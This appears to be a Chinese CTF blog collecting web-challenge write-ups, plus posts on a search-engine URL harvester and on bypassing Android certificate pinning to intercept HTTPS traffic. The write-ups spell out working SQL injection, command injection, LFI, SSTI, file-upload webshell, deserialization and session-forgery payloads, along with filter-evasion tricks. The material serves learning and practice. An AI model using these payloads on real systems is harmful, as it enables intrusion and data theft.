这串代码可以给session赋值。
此函数是由require('set-value');
该库导入。
通过在package.json得知此库的版本为3.0.0。通过搜索引擎查阅得知,这里存在原型链污染漏洞。https://snyk.io/vuln/SNYK-JS-SETVALUE-450213
污染原型:
获取FLAG:
打开题目得到源码:
1 |
|
关键点在:
1 | @eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' ); |
此处应该可进行任意命令执行。
复制下来在本地调试,很容易就得到了EXP:
1 | /?a={if:true)echo%201;echo%20`cat%20/flag`;if(true}aaa{end%20if} |
这题比赛时也没做出来,也是赛后看的题解才学会的。
看来对于这种审计题还是自己太菜了,之后得找几个cms来练练。
jig.php的Jig类存在任意写两道,EXP:
1 |
|
打开题目得到源代码:
1 |
|
这题比赛时没做出来,赛后看其他师傅的题解才学到,Y1ng师傅tql。
EXP:
1 | $tr->trick1 = NAN; |
这次比赛题目其实都不算难,但是自己的成绩还是不理想,隔壁的大师傅早AK了,orz。
太菜了。
]]>接上篇,继续刷题。
打开题目,可以看到有个tips的跳转链接,点击后跳转到:
1 | /?file=flag.php |
结合题目猜测源码为:
1 |
|
先用LFI读取index.php
再说。
1 | /?file=php://filter/read=convert.base64-encode/resource=index.php |
得到源码:
1 | <meta charset="utf8"> |
好像没有拦截flag
关键字,直接用LFI读取flag.php即可。
1 | /?file=php://filter/read=convert.base64-encode/resource=flag.php |
打开题目,得到提示:
1 | eval($_POST["Syc"]); |
直接打开Webshell管理工具,这里我用蚁剑演示。
在根目录下发现flag文件,右键读取即可。
打开题目,在HTML源代码处发现:
1 | <a style="border:none;cursor:default;" onclick="return false" href="Secret.php">氛围</a> |
访问Secret.php得到:
1 | It doesn't come from 'https://www.Sycsecret.com' |
我们使用Burpsuite抓包修改请求头中的Referer字段,重放数据包得到:
1 | Please use "Syclover" browser |
再修改User-Agent字段为Syclover
,重放数据包得到:
1 | No!!! you can only read this locally!!! |
最后修改X-Forwarded-For字段为127.0.0.1
,重放数据包即可得到Flag。
$_SERVER['HTTP_X_FORWARD_FOR']
获取,不收GPC魔术引号影响。通过题目名称,简单判断为命令执行题。
老规矩,尝试列目录:
1 | 1;ls |
返回:
1 | PING 1 (0.0.0.1): 56 data bytes |
尝试读取index.php看看源代码怎样写的:
1 | 1;cat index.php |
得到:
1 |
|
没有黑名单等拦截方法,直接起飞,通常flag都在根目录,我们列出根目录的文件:
1 | 1;ls / |
得到:
1 | PING 1 (0.0.0.1): 56 data bytes |
读取flag文件:
1 | 1;cat /flag |
打开题目,发现是道上传题。
我们先用Burp抓个上传数据包。正常上传图片发现可以成功上传:
1 | Your dir uploads/adeee0c170ad4ffb110df0cde294aecd <br>Your files : <br>array(4) { |
并返回上传路径与同目录下的文件信息,且上传名不变。
发现上传目录内存在php文件,猜测上传php应该能够解析,尝试php、php3、php3p、php4、php5、phtml、pht
格式均不可上传,被黑名单拦截。
尝试Apache解析漏洞,上传test.php.xxx
,发现解析错误,同样失败告终。
一番查阅后得知,可通过上传.user.ini
文件来给同目录下的index.php
文件添加上一些额外的内容。
1 | auto_prepend_file=xxx.jpg |
此时,同目录下的index.php
会相当于自动在头部require xxx.jpg
,起到任意文件包含的作用。
先上传一个伪装成图片的webshell:
再上传.user.ini
文件:
此时/uploads/adeee0c170ad4ffb110df0cde294aecd/index.php
文件已自动包含上我们的test.jpg,成功一个webshell,我们可以直接连接上蚁剑,再读取flag即可。
<script language='php'></script>
,php作用域的另一种表示方法,除此之外还有短字符<? ?>
。SQL注入题,此题过滤掉了一些危险关键字,使用双写绕过即可,如or关键字,双写为:oorr
。
查表名:
1 | /check.php?username=1%27unioorn%20selecort%201,2,group_concat(table_name)%20froorm%20infoorrmation_schema.tables%20wheorre%20table_schema=database()%23&password=1 |
差列名:
1 | /check.php?username=1%27unioorn%20selecort%201,2,group_concat(column_name)%20froorm%20infoorrmation_schema.columns%20wheorre%20table_schema=database()%20anord%20table_name=%27b4bsql%27%23&password=1 |
读数据:
1 | /check.php?username=1%27unioorn%20selecort%201,2,group_concat(id,username,passwoorrd)%20froorm%20b4bsql%23&password=1 |
打开题目,发现给了提示:
1 | All You Want Is In Table 'flag' and the column is 'flag' |
输入正常数据1
:
1 | Hello, glzjin wants a girlfriend. |
老规矩,单引号走起1'
,返回:
1 | bool(false) |
易知此处应该属于盲注,题目所给出的信息应该是为了节省时间。
此处空格、*
被拦截,使用一下方法绕过:
EXP:
1 | id=if(【判断条件】,1,2) |
条件为真即返回:Hello, glzjin wants a girlfriend.
条件为假时返回:Do you want to be my girlfriend?
由于知道flag位置,我们直接判断数据长度然后逐位判断:
1 | id=if(length((select%0aflag%0afrom%0aflag))>【长度】,1,2) |
得到长度为42,接着读取数据:
注意Burp选择Cluster bomb
模式,然后到Payloads区设置Payload。
Payload1选择数字模式,从1到42,步长为1。Payload2为a-z、0-9、{
、}
,由于-
被拦截,故不添加。
注意在BUU复现时还需到Options区将线程数设置为1,否则会被BUU的WAF拦截。
最后将结果拼装即可,注意未直接判断出的位是符号-
。
又一道上传题,尝试上传php文件,提示:
1 | NOT!php! |
发现可以上传phtml
文件:
修改上传内容为php内容后发现:
1 | NO! HACKER! your file included '<?' |
提示禁止<?
,老套路了,修改为<script language='php'></script>
的格式即可。
上传后尝试访问/test.phtml
发现报错,估计上传目录不是根目录,直接盲猜一手upload,成功访问。
1 | /upload/test.phtml?a=system(%27cat%20/flag%27); |
打开题目,页面上给出提示:
1 | Try to find out source file! |
写个脚本扫一下源码,附个简单的列表:
1 | /.svn/ |
扫到源码:index.php.bak,下载下来查看:
1 |
|
$key == $str
简单的弱类型比较绕过,/?key=123
访问即可获得flag。
打开题目,在pay.php页面处发现注释:
1 | <!-- |
结合页面内容:
1 | If you want to buy the FLAG: |
用BurpSuite抓包后,在cookie处发现端倪:user=0
,猜测修改为1之后才能满足:You must be a student from CUIT!!!
。
password处为简单的PHP弱类型比较,要求不能输入数字又与数字404==
比较成立。
右键选择Change request method
改为POST型,添加上money与password参数:money=100000000&password=404a
,发送后返回you are Cuiter</br>Password Right!</br>Nember lenth is too long</br>
。
限制了长度,很明显可以通过科学计数法绕过,将money参数修改成:1e12
即可。
1 | POST /pay.php HTTP/1.1 |
简单上传题,上传phtml文件绕过即可。
打开题目,在join.php
处发现注入,此处推荐报错注入,但我做的时候使用的布尔盲注。
爆表名,得表名users
:
1 | username=1' and if(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='',exp(4000),1)%23&passwd=1&age=1&blog=http://www.baidu.com |
爆列名,得列名no,username,passwd,data
:
1 | username=1' and if(mid((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1)='',exp(4000),1)%23&passwd=1&age=1&blog=http://www.baidu.com |
发现并无flag字段,猜测考点应该不止SQL注入。
发现存在robots.txt文件,访问得到:
1 | User-agent: * |
访问得到user.php的源码:
1 |
|
发现此处存在SSRF漏洞。
在view.php?no=1
发现SQL注入,注意此处有正则判断:
1 | view.php?no=-1%20union/**/select%201,2,3,4%20%23 |
返回错误:
1 | Notice: unserialize(): Error at offset 0 of 1 bytes in /var/www/html/view.php on line 31 |
猜测SQL数据为序列化之后的数据。
利用报错注入注出数据(concat函数被拦截):
1 | view.php?no=1%20and%20updatexml(1,make_set(3,%27~%27,(select%20group_concat(data)%20from%20users)),1)%23 |
可以发现data数据为UserInfo类的序列化数据。
简单的反序列得能利用SSRF漏洞的EXP:
1 | O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";} |
最后再view.php函数利用上此EXP即可:
1 | /view.php?no=1%20union/**/select%201,2,3,%27O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}%27%23 |
在源代码得到Iframe标签的Base64值,解码得到flag.php的内容:
1 |
|
打开题目得到首页源代码:
1 |
|
稍显要绕过file_get_contents($text,'r')==="welcome to the zjctf"
,由于我们并不知道满足条件的文件,故此处很容易可想到是要考LFI。
此处有两种方法pass:
第二处对变量$file进行了正则判断,使得我们无法直接LFI读flag。
通过旁边的注释//useless.php
,我们先使用LFI读取其源码得:
1 |
|
配合index.php文件的$password很容易知道最后一个考点是反序列化漏洞。
echo $password;
会触发对象的__tostring魔法函数,从而执行代码,读取FLAG。
payload:
1 | 1、GET: /?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:%22Flag%22:1:%7Bs:4:%22file%22;s:8:%22flag.php%22;%7D |
打开题目发现从首页跳转到了:/leveldo4.php
。
用抓包工具重放发现首页的跳转包无有用数据,而在/leveldo4.php
请求的响应头出得到提示:
1 | Hint: select * from 'admin' where password=md5($pass,true) |
这也是常考点了,在php中md5函数格式如下:
1 | string md5( string $str[, bool $raw_output = false] ) |
str
原始字符串。
raw_output
如果可选的 raw_output
被设置为 TRUE
,那么 MD5 报文摘要将以16字节长度的原始二进制格式返回。
我们注意到,当raw_output为ture时返回是二进制格式,而md5函数的返回值为string类型,因此这里会隐式的将原始二进制格式数据转成字符串格式,这就造成了单引号逃逸的情况。
如经典的ffifdyop
,经由md5($str, true)
转换后得到:'or'6]!r,b
,可以看到单引号被逃逸了出来,且拼接上了一个永真条件。
将ffifdyop
提交后,页面跳转到新的地址:levels91.php
。
在HTML源代码处得到提示:
1 | <!-- |
这里是弱类型比较考点。
简单的说就是”0e”开头的字符串在进行弱类型比较的时候会认为是科学计数法表示的数字。
所以0e545993274517709034328855841020
相当于0*10^545993274517709034328855841020=0
,与0e342768416822451524974117254469
相同,也都是数字0。
所以"0e545993274517709034328855841020" == "0e342768416822451524974117254469"
成立,也即:md5("s155964671a") == md5("s155964671a")
成立。
下面列举几个相关的payload:
1 | s878926199a |
通过后再次跳转至:levell14.php
,打开页面即得到源代码:
1 |
|
这里使用了===
强比较做判断,0e
科学计数法的方法不再管用。
这里使用的是md5函数无法对数组类型的参数做处理,会返回NULL并产生一个WARNING级别的消息。
利用这个特点,我们POST如下数据即可通过:
1 | param1[]=1¶m2[]=2 |
打开题目:
1 | 雁过留声,人过留名,此网站已被黑 |
把备份源码下载到本地:
发现里边有3002个php文件,随便打开一个发现代码都是乱七八糟的。
各种危险函数assert、eval
等,不过都是被限制得死死的。
看来得需要我们编写脚本来一份一份得跑才行。
下面是我简单编写的多线程脚本:
1 | # author: yunen |
打开题目,随便点了一下。
1 | /qaq?name={{7*7}} |
页面返回49,简单就可以知道此题的考点应该就是ssti。
在网上找了一个payload,成功读取flag:
1 | /qaq?name={{a.__init__.__globals__.__builtins__.eval("__import__(%27os%27).popen(%27cat%20/flag%27).read()")}} |
今天刚打完了CISCN,关于php的题还是做不来出来,审计与phptrick方面还是不清楚,看来还得多刷题多学习呀。
]]>前段时间需要通过搜索引擎采集一些目标站,找了以前自己收集的一些工具,发现大多都失效了,没失效的也不怎么好用,思考了一下,还是决定自己来弄一个,这里借鉴的是法克论坛URL采集工具,这款工具在我电脑上失效了,感谢前辈们的工具。
首先是GUI部分,这里我们简单地规划出了浏览器操作区、配置区以及我们的输出区。
简单地规划出GUI之后开始编写我们的核心代码:
这里做了一些URL的处理,对于百度和搜狗这两个搜索引擎来说,他们的URL是经过处理的,不会直接显示在HTML内,故我们需要进行单独的访问并提取出真实URL。百度是返回的302跳转,真实URL在响应头的Location中,而搜狗是返回的200状态码,真实URL在页面内容中的script标签内。
由于易语言对于双引号的转义不太方便,这里我们为了方便选择使用长文本常量存储。
以及针对百度的特殊处理:
剩下就是一些把功能拼起来,这里就略过不表。
1 | .版本 2 |
1、之前学过一点易语言,有基础
2、第三方优秀模块多,类似功能实现起来应该不难
3、精益论坛日活量高,大佬多且热心帮助他人
4、软件GUI可视化生成,懒狗必备
易语言是我学的第一门”编程语言“,想起来还是我高一高二的事情,易语言带我进入的编程的世界(菜狗不会英语),我很感谢她,虽说她的名声并不好听,但在我看来,易语言亦如一把宝剑,能杀人亦能救人。不管黑猫白猫,能抓到老鼠的猫就是好猫,易语言有精益模块等非常优秀的第三方模块,以及日活量挺高且求助区活跃大佬多的精益社区,这么看起来也并非完全不推荐学习。
]]>最近好久没刷CTF题了,其实BUUCTF这个平台我也是最开始的用户之一(uid前20,懒狗石锤了…),可是一直没有时间能够好好的刷题,今儿总算时间充裕,打算花些时日,记录下自己在BUU刷题的经验。
打开题目页面,习惯性右键查看HTML源代码:
1 |
|
得提示:source.php,访问之~得到源代码:
1 |
|
访问source.php?file=hint.php
得到提示:flag not here, and flag in ffffllllaaaagggg
本题难点就是得想到如何利用字符串切割绕开白名单判断且能任何文件包含,其实也很简单:source.php?file=hint.php?/../任意文件
即可。
EXP: source.php?file=hint.php?/../../../../ffffllllaaaagggg
注入题,老规矩,先来个单引号试试:
尝试老套路拼接union select
之后发现被拦截了,拦截代码:
1 | return preg_match("/select|update|delete|drop|insert|where|\./i",$inject); |
发现select
被禁止了,这种情况下,通常的注入方法,如盲注
、报错注入
等都在这不好使了。
直接说解法吧,这里是堆叠注入
。
爆库:1';show databases;#
1 | array(1) { |
爆表(当前数据库):1';show tables;#
1 | array(1) { |
words表应该就是测试数据,也就是该条语句的from接的应该就是words,那么flag应该在1919810931114514表中了。
而select
关键字被拦截掉了,如何才能读取数据呢
EXP:
1 | 1';handler `1919810931114514` open as `yunenctf`;handler `yunenctf` read first;# |
此方法有一定的危险性,若操作失败极容易损坏环境,请在公共靶机操作时注意查看payload。
首先查看words表下的字段信息:1'; show columns from words;#
1 | array(6) { |
共有两字段,分别是id与data字段;
查看1919810931114514表的字段信息:
1 | array(6) { |
只有一个flag字段
EXP:
1 | 1'; rename table words to word1; rename table `1919810931114514` to words; alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);# |
由于select
被拦截,故我们可以选择将select * from `1919810931114514`
给转成16进制并存放到变量中,接着进行预编译处理并运行。
EXP:
1 | 1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;# |
这题有点考脑洞的感觉,关键是你得猜出来他的SQL语句是怎么个拼接法。
select $_REQUEST['query']||flag from Flag
怎么猜呢?
1;show tables;#
等payload发现可以返回,堆叠注入存在,但是测试发现from、表名Flag、0x、handler被拦截,看来本题不想让我们能简单地以堆叠注入通过。1,2,3,4
,发现返回内容为Array ( [0] => 1 [1] => 2 [2] => 3 [3] => 1 )
,可判断出注入位置。1,2,3,0
,发现返回内容为Array ( [0] => 1 [1] => 2 [2] => 3 [3] => 0 )
,可以判断最后的0应该是被拼接上了||
或字符。通过堆叠注入的show tables
可以知道,当前执行命令的表即为唯一的Flag表,故flag信息应该也在该表里边。输入*,1
即可返回该表的所有字段数据。
EXP:*,1
据说此解才是预期解orz,set sql_mode=pipes_as_concat;
的作用为将||
的作用由or变为拼接字符串。
通过将||
符号的含义改变成拼接字符串即可带出flag的值(如果是||其他东西就不行了)。
EXP:1;set sql_mode=pipes_as_concat;select 1
cl4y师傅写的题,出的还算简单,打开题目就亮瞎了我的狗眼,不愧是羽哥哥。
其实这个页面没啥用,真正功能在check.php。随便输入一个数据:check.php?username=1&password=1
,提示用户名与密码错误。
老规矩,单双引号与反斜杠走起,尝试单引号时就报错了。
1 | You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '1'' at line 1 |
通常的登录判断实现有两种方法:
而这里是第一种判断方法,可以通过尝试在username和password单独加单引号,发现都会返回报错信息可以猜测出。
搞懂了这点这题就很简单了,EXP:
1 | check.php?username=1%27%201%3d1%23&password=2 |
一看到tornado经常刷题的师傅(老赛棍)就知道了,SSTI必不可少。
打开题目首页映入眼帘的三个跳转链接:
/flag.txt
/welcome.txt
/hints.txt
分别打开得到:
观察URL可以发现:file?filename=/hints.txt&filehash=b40f21b84d8adb13a98b455421e19522
很明显,我们只需要找到cookie_secret就可以读取fllllllllllllag文件获得flag,而这需要通过SSTI获得。
SSTI模板注入位置:error?msg=Error
,报错页面。报错页面存在SSTI也是常考点了
老规矩尝试49,发现被拦截了,返回ORZ
,把\*
去掉后确实能返回77,说明的确存在SSTI。
经过尝试,发现拦截了_,(),[]
等,命令执行的路算被堵死了。
这里的考点就是tornado的handler.settings对象
在tornado中
handler 对象 是指向RequestHandler
而RequestHandler.settings又指向self.application.settings
所以所有handler.settings就指向RequestHandler.application.settings了!
而在模板中,handler是可用的,故访问:error?msg={{handler.settings}}
,记得得到cookie_secret。
1 | {'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': 'e23c0c77-a56a-444d-a44b-e74ee6ce5ba5'} |
所以/fllllllllllllag对应的hash就为md5(cookie_secret+md5(‘/fllllllllllllag’)),即:c4a22e606c667e494b34c926adbc0a42
。
EXP:
1 | file?filename=/fllllllllllllag&filehash=c4a22e606c667e494b34c926adbc0a42 #此处由于cookie_secret不同需要自己走一遍流程 |
签到题,无考点。
EXP:/?cat=dog
打开题目,邮件查看HTML源代码,发现:
1 | <!--I've set up WAF to ensure security.--> |
访问calc.php,得到如下源代码:
1 |
|
可以看到,这是个命令执行题,如何绕过黑名单执行命令是本题的考点。
经过尝试后发现,当num参数传入字母时便会被WAF拦截。这里有两种方法来绕过:
PHP在接受请求参数时会忽略开头的空格,也就是说?%20%20num=a
相当于$_GET['num']=a
的效果。
WAF判断的参数仅是num,而对于%20num他是不做拦截的。
这也是WAF绕过的老法子之一了,用在这里也是正常的操作。
而对于单双引号被过滤的情况如何表示字符串,由于PHP的灵活性有挺多的法子,这里列举两个:
.
拼接。~
取反等符号,如~%9e
就代表字符串a
。EXP:
1 | calc.php?%20num=var_dump(scandir(~%d0)) // 列出根目录下的全部文件名 |
打开题目,啥信息都没有,不清楚考点。老规矩,先查看返回头、HTML源代码,若无结果再开扫描器。
在HTML源代码处发现提示:
1 | <a id="master" href="./Archive_room.php" style="background-color:#000000;height:70px;width:200px;color:black;left:44%;cursor:default;">Oh! You found me</a> |
打开/Archive_room.php
文件,得:
点击之后发现被跳转到了end.php
,易知action.php
返回了跳转信息。打开Burpsuite抓取数据包重放得到:
访问之,得PHP源代码一份:
1 | <html> |
很容易就知道此处的考点应该是LFI读文件,EXP:
1 | secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php |
得到Base64编码过的flag.php源代码,解密之即可得flag。
这题出的是真的不错,学到了很多东西,多刷好题还是有用的。
打开题目,在首页的HTML源代码处发现注释:
1 | <!-- you are not admin --> |
猜测获取flag需要登录admin账户,我们先注册随便一个账号登录进去看看。
在change_password功能页的HTML源码中发现注释:
1 | <!-- https://github.com/woadsl1234/hctf_flask/ --> |
这里贴一下主要源码:
1 | #!/usr/bin/env python |
此解法感觉是错误的,不过看飘零师傅的WP有详细描述,我这边复现没成功,若有了解的师傅欢迎找我讨论 :)
我们注意到,登录函数的写法有点奇怪。通常来说,SESSION存取登录成功的用户信息是在验证通过提交的账号与密码之后的事情,但这里的代码确实先将用户名存入SESSION中,不符合常理,可能存在绕过的可能。
1 | def login(): |
同时,对于修改密码函数来说:
1 | def change(): |
是从SESSION中获取用户名的。
这样的话就存在一种可能,就是当我们change函数执行到name = strlower(session['name'])
之前,我们已退出当前用户,并以错误的密码尝试登录admin用户,此时session['name']
的值为admin,change函数便将admin账户的密码给成功修改了。
贴一下利用脚本,由syang@Whitzard编写:
1 | import requests |
说明一下,此方法由我多次测试均不能修改admin的密码。我认为由于flask客户端session的特训,及时在change函数获取session['name']
之前通过login函数修改了session['name']
的值,但是change函数取到的值仍不会受到影响。flask的session存在客户端的Cookie之中,视图函数获取session相当于去解析其对应的请求体中的Cookie字段,而不是存在服务器端的session文件中,故在整个change函数里,session的值都不会改变,并不含产生竞争。
我们注意到,在代码里,此处用到的一个自己定义的字符转小写函数。
1 | from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep |
我们再去requirements.txt看一下这个库的版本是多少:
1 | Twisted==10.2.0 |
而我们去官方的仓库:https://github.com/twisted/twisted/releases
可以发现,在当时(18年)Twisted最新的版本为18.7.0
。
这两个版本差别也太大了,而且专门导入一个库来进行字符转换感觉也很有问题。
一番查询后可以找到:https://tw.saowen.com/a/72b7816b29ef30533882a07a4e1040f696b01e7888d60255ab89d37cf2f18f3e
文中指出,在低版本的Twisted库中nodeprep.prepare
会对特殊字符ᴀʙᴄᴅᴇꜰɢʜɪᴊᴋʟᴍɴᴏᴘʀꜱᴛᴜᴠᴡʏᴢ
(small caps)进行如下操作:
1 | ᴀ->A->a |
可以发现ᴀ并不是被转成a而是大写的A,那么我们注意到,login在取参时会进行一次strlower转换且change又再一次进行strlower转换。
如此一来我们可以这样操作:
1 | 注册ᴀdmin用户(实际注册的用户是Admin)并登陆->以ᴀdmin用户名登陆->session存的用户名是Admin->更改密码时获取到的name为admin->成功修改admin的密码 |
参考p牛文章:https://www.leavesongs.com/PENETRATION/client-session-security.html
由于flask客户端session的特性,且session存储方式类似JWT,仅仅只在末尾拼接了相应的hash作数据校验,故session的内容对于我们来说是可视的。
1 | #!/usr/bin/env python3 |
又因为我们在config.py文件中可以发现:
1 | class Config(object): |
SECRET_KEY可能为ckj123
,如此一来我们便可以生成相应的hash拼接上我们的伪造的数据达到伪造session的作用。
利用脚本:https://github.com/noraj/flask-session-cookie-manager
打开题目,看样子应该是前面那道简单题的简单升级版。
随便输入一些数据,跳转到:/check.php?username=1&password=1
。
老样子,在username与password分别单独加单引号,发现均返回错误。说明应该是之前讲的第一种判断逻辑。
老EXP尝试:username=1'%20or1%3d1%23&password=1
,成功登录,返回了管理员密码的密文值,看长度应该是MD5。
1 | Login Success! |
但尝试MD5解密失败,结果发现居然是明文,不过改换admin登录也没啥用,结合题目意思应该需要我们进行跨表注入。
联合注入经典步骤:
1 | /check.php?username=1'%20or1%3d1order%20by%20{字段数}%23&password=1 |
当尝试字段数为4时,返回报错信息:
1 | Unknown column '4' in 'order clause' |
尝试3时返回正常,说明union
前边的语句获取的字段数为3。
1 | check.php?username=1%27union%20select%201,2,3%23&password=1 |
回显数据:
1 | Hello 2! |
我们选择在2字段处继续回显数据(任意选择)
1 | 1' union select 1,database(),3 # |
1 | 1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() # |
1 | 1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name = 'l0ve1ysq1' # |
1 | 1' union select 1,group_concat(username,password),3 from l0ve1ysq1 # |
成功获得flag。
经典命令执行题了,这里简单总结一下。
${IFS}、$IFS$任意数字
,可充当空格。<、>
可取代空格,如cat<flag.php
。fla\g.php
、fl*g.php
、fla?.php
、fl'a'g.php
均可被认作flag.php
。{OS_COMMAND,ARGUMENT}
,如:{cat,/etc/passwd}
。;a=g;cat fla$a.php;
,临时变量可做字符串拼接。cat fla${n}g.php
,n变量并未赋值,空变量拼接绕过空格。[a-z]、[abc]、{a,b,c}
类似*、?
的功能,fl[a-z]g.php
可取到flag.php
。echo 'Y2F0IGEudHh0Cg=='|base64 |(ba)sh
、echo "63617420612e7478740a"|xxd -r -p|sh
tac
命令相当于cat
的镜像命令,取到的内容是倒序的,从最后一行取到第一行;rev
命令是cat
完全相反,从最后一个字符倒序取值。分隔符:
1.
&
,& 表示将任务置于后台执行。
2.&&
,只有在 && 左边的命令返回真(命令返回值 $? == 0),&& 右边的命令才 会被执行。
3.|
,| 表示管道,上一条命令的输出,作为下一条命令的参数
4.||
,只有在 || 左边的命令返回假(命令返回值 $? == 1),|| 右边的命令才 会被执行。
5.;
,多行语句用换行区分代码快,单行语句一般要用到分号来区分代码块
引自:https://blog.csdn.net/qq_42812036/java/article/details/104297163
回到题目本身:
先列下目录:?ip=1;ls
1 | PING 1 (0.0.0.1): 56 data bytes |
直接读取flag.php失败:1;cat%20flag.php
1 | fxck your space! # 拦截了空格 |
使用$IFS尝试代替绕过:?ip=1;cat$IFS$1flag.php
1 | fxck your flag! |
转去读index.php文件查看源代码再做打算:?ip=1;cat$IFS$1index.php
,得源码:
1 |
|
过滤了很多符号,空格,bash关键字(改用sh执行),.*f.*l.*a.*g.*
贪婪模式判断f|l|a|g
的顺序不能出现。
这里我们使用$IFS$数字
代替空格,而.*f.*l.*a.*g.*
的绕过有下边三种方法。
1 | ?ip=1;u=g;cat$IFS$1fla$u.php |
1 | ?ip=1;echo$IFS$1Y2F0IGZsYWcucGhwCg==|base64$IFS$1-d|sh |
1 | ?ip=1;cat$IFS$1`ls` #打开工作目录的全部文件并返回内容 |
打开题目,无提醒,考点模糊的情况下:先查看响应头与HTML源代码,还是无头绪再进行文件扫描。
这里使用dirsearch扫描到有www.zip
,访问之将源码down下来,这里贴个关键代码:
1 | #class.php |
1 | #index.php |
本地打开phpstudy开个简单的服务器,复制class.php文件并添加如下代码:
1 | $a = new Name('admin',100); |
访问得到实例$a
的序列化值(URL编码):
1 | O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D |
解码之后(不可见字符不处理)是这样子的:
1 | O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;} |
此处用到一个漏洞(CVE-2016-7124,影响版本PHP5<5.6.25,PHP7<7.0.10),当反序列化字符串中声明的属性个数大于实际提供的属性时,__wakeup函数并不会执行。
简单地说明这个漏洞就是,PHP底层在编写反序列代码时,将__wakeup
函数的调用放在解析字符串功能之后,而如果解析字符串出现错误时就会直接return 0;
,从而其后边的__wakeup
魔法函数便调用不上。至于为何是修改变量个数,是因为若修改如变量名长度,会导致解析字符串的关键函数pap_var_unserialize
出错,并将释放当前key(变量)空间,导致类中的变量赋值失败。而如果只是修改变量个数的话,便可以使得不出现上述错误而导致赋值失败,也可以让解析字符串功能出错返回0。
故EXP:
1 | /?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;} |
好久没刷题了,真的生疏了很多。不仅很多很简单的点到不太记得了,甚至连简单的SQL题做的时候都愣了好一会儿,有点“无从下手”的感觉,看来平时还是得多话时间来刷刷题,而且从这次的刷题中,能明显看出自己对于许多考点都不熟悉,唉,还是太菜了。
最近在对一个app进行测试的时候,尝试抓取数据包,发现以前的使用方法失效了,原因是随着安卓版本的提高,对证书的限制越发严格,而我身边的老机子放在学,不在身边,没得办法,只好研究一下怎么绕过这种限制。
经过一方查找,终于发现了一个相对比较简单的办法,这里就开一篇文章,记录一下。
首先下载所需要的工具:
Charles-Crack(有能力的同学请支持正版)——https://github.com/8enet/Charles-Crack
VirtualXposed——https://github.com/android-hacker/VirtualXposed/releases
PC端下载并安装好之后,运行Charles。
依次点击菜单栏的:Proxy→Proxy Settings,并按如下进行勾选。
接着点击菜单栏:Proxy→SSL Proxying Settings
按照下图进行配置:
若事先确定要抓取的Host和Port信息,可自行进行更改。
接着点击Proxy→Windows Proxy (注:不同版本名称不同),将不再抓取本地流量。
然后点击Help→SSL Proxying→Install Charles Root Certificate on a Mobile Device or Remote Browser,将证书挂载到chls.pro/ssl
这个地址上。
手机端用浏览器打开上述地址,将证书下载到本地。这步也可以选择点击菜单栏:Help→SSL Proxying→Save Charles Root Certificate…,来将证书下载到PC,通过数据线、QQ等方法传到手机。
首先需要把手机与电脑连接到同一个网络内。
打开WLAN,选择对应的WIFI,进行代理配置。如下图所示:
主机名为PC端的内网IP,端口为配置Charles时Proxy Settings配置中的Http Proxy里的Port内容。
PC端内容不清楚的同学可以打开终端运行如下命令:
ipconfig
ifconfig
ifconfig
成功代理上之后,手机端的流量都会经过PC端的Charles。如果是第一次配置,则Charles会弹出一个窗口,提示有新的连接,点击Allow按钮。
其次需要将电脑端Charles的证书给安装上。
若在PC端选择的是Install Charles Root Certificate on a Mobile Device or Remote Browse,则先需要通过手机浏览器访问chls.pro/ssl
这个网址获得证书文件。
这里我使用的手机为小米8 Lite,不同的手机品牌/型号安装证书的方法可能有所不同,具体可通过搜索引擎来获得安装的方法。
依次点击:设置→更多设置→系统安全→加密与凭据→从SD卡安装,接着在文件浏览器中选择你下载好的证书。
然后给证书凭据起个名字,可随意填写,凭据用途选择VPN和应用
。
安装完毕后依次点击:信任的凭证→用户,即可查看到刚刚添加进来的Charles证书——XK72 Ltd
。
以往我们只需要执行到这里,便可以成功抓取到数据包。不过由于Android的版本更新,对用户自身添加的证书进行了限制,导致我们直接地无法抓取的HTTPS数据包,在Charles里会发现HTTPS的流量都显示Unknown。
这里我选择的办法是用VirtualXposed工具进行绕过,如果你不想使用这个方法,也可以考虑通过将手机进行Root处理,并将Charles的证书添加到系统级的证书中,不过这并不在本文讨论的范畴。
手机下载好VirtualXposed和TrustMeAlready两个apk文件,安装VirtualXposed.apk之后运行。
在VirtualXposed中,先进入设置页面,点击添加应用,选择你想抓取流量的应用,以及TrustMeAlready.apk文件进行安装。注意:由于TrustMeAlready.apk未安装,需要点击+
号按钮,在对应的目录选择apk文件即可。
然后再回到设置页面,点击模块管理,可以看到我们刚刚添加的TrustMeAlready便在其中,点击右边的框框进行勾选,接着回到设置页面,在最下方点击重启、确定。
到这里我们便已经完成了全部的操作,之后你可以在VirtualXposed框架内打开任意的app都可以成功取到HTTPS流量。
关于Charles的使用方法,本文不再赘述,网络上已有许多教程,稍微花点时间搜索即可。
在Android开发者平台文档,我们可以查到这么一段话:
默认情况下,来自所有应用的安全连接(使用 TLS 和 HTTPS 之类的协议)均信任预装的系统 CA,而面向 Android 6.0(API 级别 23)及更低版本的应用默认情况下还会信任用户添加的 CA 存储区。应用可以使用
base-config
(应用范围的自定义)或domain-config
(网域范围的自定义)自定义自己的连接。
以上说明了安卓6.0以上的版本,在默认情况下应用是不会相信用户添加的CA证书,导致我们使用老方法无法完整地获取到应用发出的HTTPS数据。
